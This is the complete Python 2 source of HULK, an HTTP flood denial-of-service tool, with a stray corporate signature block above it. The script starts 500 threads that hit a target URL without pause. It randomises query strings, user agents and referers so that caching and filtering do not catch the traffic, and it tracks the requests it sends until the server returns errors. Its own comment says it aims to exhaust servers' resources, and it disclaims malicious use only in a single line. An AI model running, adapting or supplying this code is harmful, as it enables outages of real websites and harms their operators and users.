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# Infi-Zeal Technologies
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# Regards,
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# Hardeep Singh
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# ----------------------------------------------------------------------------------------------

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# HULK - HTTP Unbearable Load King

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#

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# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them

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# to their knees by exhausting the resource pool, its is meant for research purposes only

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# and any malicious usage of this tool is prohibited.

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#

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# author:Cyb3r h4ck3r , version 1.0

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# ----------------------------------------------------------------------------------------------

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import urllib2

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import sys

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import threading

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import random

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import re

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#global params

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url=''

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host=''

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headers_useragents=[]

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headers_referers=[]

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request_counter=0

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flag=0

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safe=0

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def inc_counter():

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	global request_counter

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	request_counter+=1

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def set_flag(val):

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	global flag

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	flag=val

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def set_safe():

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	global safe

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	safe=1

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# generates a user agent array

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def useragent_list():

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	global headers_useragents

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	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')

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	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')

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	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')

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	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')

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	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')

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	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')

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	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')

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	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')

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	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')

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	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')

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	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')

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	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')

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	return(headers_useragents)

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# generates a referer array

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def referer_list():

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	global headers_referers

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	headers_referers.append('http://www.google.com/?q=')

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	headers_referers.append('http://www.usatoday.com/search/results?q=')

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	headers_referers.append('http://engadget.search.aol.com/search?q=')

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	headers_referers.append('http://' + host + '/')

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	return(headers_referers)

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#builds random ascii string

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def buildblock(size):

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	out_str = ''

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	for i in range(0, size):

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		a = random.randint(65, 90)

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		out_str += chr(a)

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	return(out_str)

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def usage():

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	print '---------------------------------------------------'

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	print 'USAGE: python hulk.py <url>'

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	print 'you can add "safe" after url, to autoshut after dos'

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	print '---------------------------------------------------'

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#http request

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def httpcall(url):

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	useragent_list()

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	referer_list()

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	code=0

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	if url.count("?")>0:

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		param_joiner="&"

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	else:

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		param_joiner="?"

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	request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))

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	request.add_header('User-Agent', random.choice(headers_useragents))

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	request.add_header('Cache-Control', 'no-cache')

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	request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')

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	request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))

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	request.add_header('Keep-Alive', random.randint(110,120))

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	request.add_header('Connection', 'keep-alive')

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	request.add_header('Host',host)

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	try:

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			urllib2.urlopen(request)

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	except urllib2.HTTPError, e:

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			#print e.code

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			set_flag(1)

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			print 'Response Code 500'

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			code=500

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	except urllib2.URLError, e:

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			#print e.reason

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			sys.exit()

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	else:

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			inc_counter()

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			urllib2.urlopen(request)

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	return(code)		

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#http caller thread 

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class HTTPThread(threading.Thread):

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	def run(self):

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		try:

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			while flag<2:

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				code=httpcall(url)

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				if (code==500) & (safe==1):

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					set_flag(2)

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		except Exception, ex:

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			pass

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# monitors http threads and counts requests

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class MonitorThread(threading.Thread):

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	def run(self):

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		previous=request_counter

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		while flag==0:

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			if (previous+100<request_counter) & (previous<>request_counter):

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				print "%d Requests Sent" % (request_counter)

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				previous=request_counter

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		if flag==2:

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			print "\n-- HULK Attack Finished --"

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#execute 

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if len(sys.argv) < 2:

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	usage()

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	sys.exit()

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else:

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	if sys.argv[1]=="help":

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		usage()

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		sys.exit()

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	else:

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		print "-- HULK Attack Started --"

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		if len(sys.argv)== 3:

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			if sys.argv[2]=="safe":

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				set_safe()

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		url = sys.argv[1]

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		if url.count("/")==2:

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			url = url + "/"

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		m = re.search('http\://([^/]*)/?.*', url)

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		host = m.group(1)

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		for i in range(500):

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			t = HTTPThread()

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			t.start()

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		t = MonitorThread()

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		t.start()
        

    


            


                                


        

            



                
    

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